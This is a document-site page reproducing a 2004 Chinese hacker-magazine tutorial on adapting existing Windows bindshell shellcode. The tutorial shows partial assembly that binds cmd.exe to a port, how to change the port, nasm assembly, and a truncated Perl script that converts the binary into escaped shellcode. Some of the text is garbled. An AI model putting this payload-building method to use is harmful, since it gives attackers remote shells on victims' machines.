- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
菜鸟也玩shellcode
[原创]菜鸟也玩shellcode
文章标题:[原创]菜鸟也玩shellcode顶部 无敌最寂寞 发布于:2004-12-2808:15 [楼主][原创]菜鸟也玩shellcode
文章作者:无敌最寂寞[EST]
信息来源:邪恶八进制信息安全团队
原文出处:《黑客x档案》
上期的x档案我写了一篇菜鸟也能写exploit,里面主要介绍了溢出点的定位以及exploit的编写。都是菜鸟级的东西,也不知道读者朋友们是否学到了点什么。这一次我又给大家带来了一篇溢出方面的文章,主要给大家介绍一些菜鸟级的shellcode编写了。
大家都知道的,编写shellcode是需要很深的编程功底还要熟知操作系统底层知识,因此呢我们还是要使用别人写好的shellcode(先别急着打我,大家看我的题目——“玩”而不是“写”)。换句话说,我们是要改造高人写好的shellcode成为自己的东东。
一、手工篇
首先,我们要先准备好我们的“主菜”——shellcode。我在上找到了几个shellcode。先看下面的一个:
[BITS32]
global_start
_start:
LCaller:
callLLoadFunctions
LDataSegment:
;========================
ddCMD
dd0x79c679e7;closesocket 12
dd0x498649e5;accept 16
dd0xe92eada4;listen 20
dd0xc7701aa4;bind 24
dd0xadf509d9;WSASocketA 28
dd0x3bfcedcb;WSAStartup 32
。
。
。
。
。
。
。
LBind:
pushedi
pushedi
pushdword0port8721
movesi,esp
pushbyte0x10 ;length
pushesi
pushebx
call[ebp+24]
。
。
。
。
。
。
。
我只列出了部分关键代码,完整代码详见光盘。这个是汇编写的bindshell,它可以绑定一个cmdshell到任意本地端口。我们要做的就是把上面的代码写成shellcode形式。
首蟁i业秸饩洌簆ushdword0port8721
这个就是绑定的端口,比如我们想绑定1234端口,那么先把1234换成十六进制是04d2,然后再按照低位再前高位在后的顺序排列就是d204。替换到原句后变成:
pushdword0xd2040002
OK!代码是改好了,下面我们需要把这段代码编译成一个二进制文件,我这里用到的编译器是nasm。把上面的代码存为bindshell.asm,复制此文件到nasm解压目录下的bin子目录下。然后打开一个cmd窗口,并来到bin目录下,然后输入:nasm-fbin-obindshell.binbindshell.asm回车确认后,我们就可以得到一个二进制文件bindshell.bin,如图一。
=800)window.open(30/tools/1.gif);onload=if(this.width800)this.width=800;if(this.height800)this.height=800;
用ultraedit打开bindshell.bin文件,如图二。
=800)window.open(30/tools/2.gif);onload=if(this.width800)this.width=800;if(this.height800)this.height=800;
看到那些十六进制树了吗?那就是我们的shellcode了,我们只要把那些十六进制数复制下来,然后改写成“\xE8\x38\x00\x00\x00\x43”这样的形式就可以了。可是手动太麻烦了,我们还是编程解决。于是我写了一个包含下面代码的简单perl程序(你用python或者其它任何语言我都不反对的:-)):
Copycode
#!/usr/bin/perl
#poweredby无敌最寂寞[EST]
my$filename=shift;
open(FILE,$filename);
open(RES,result.txt);
while(FILE)
{
s/.*h://ig;
s/;.*//ig;
s/\s*$//g;
s/\s/\\x/ig;
您可能关注的文档
最近下载
- 房产税城镇土地使用税政策讲解.pdf VIP
- 《弟子规正版全文-带拼音-完善打印版》.docx VIP
- 新大学日语阅读与写作1东娜练习答案及译文.pptx
- 第19课 法国大革命和拿破仑帝国 课件(共33张PPT).pptx VIP
- 施工现场节假日前安全检查表.doc VIP
- 500kV龙昌Ⅰ、Ⅱ号线直线塔绝缘子单串改双串施工方案.pdf VIP
- 结构优化的群体智能优化算法研究.pdf VIP
- 新视野大学英语(第四版)读写教程1(思政智慧版)课件 B1U1 Section A Fresh start.pptx VIP
- 北京-407EV-标准版-BJ5030XXYVRRC-BEV-407EV纯电动汽车产品使用说明书.pdf VIP
- GB50666混凝土结构工程施工规范.pdf VIP
文档评论(0)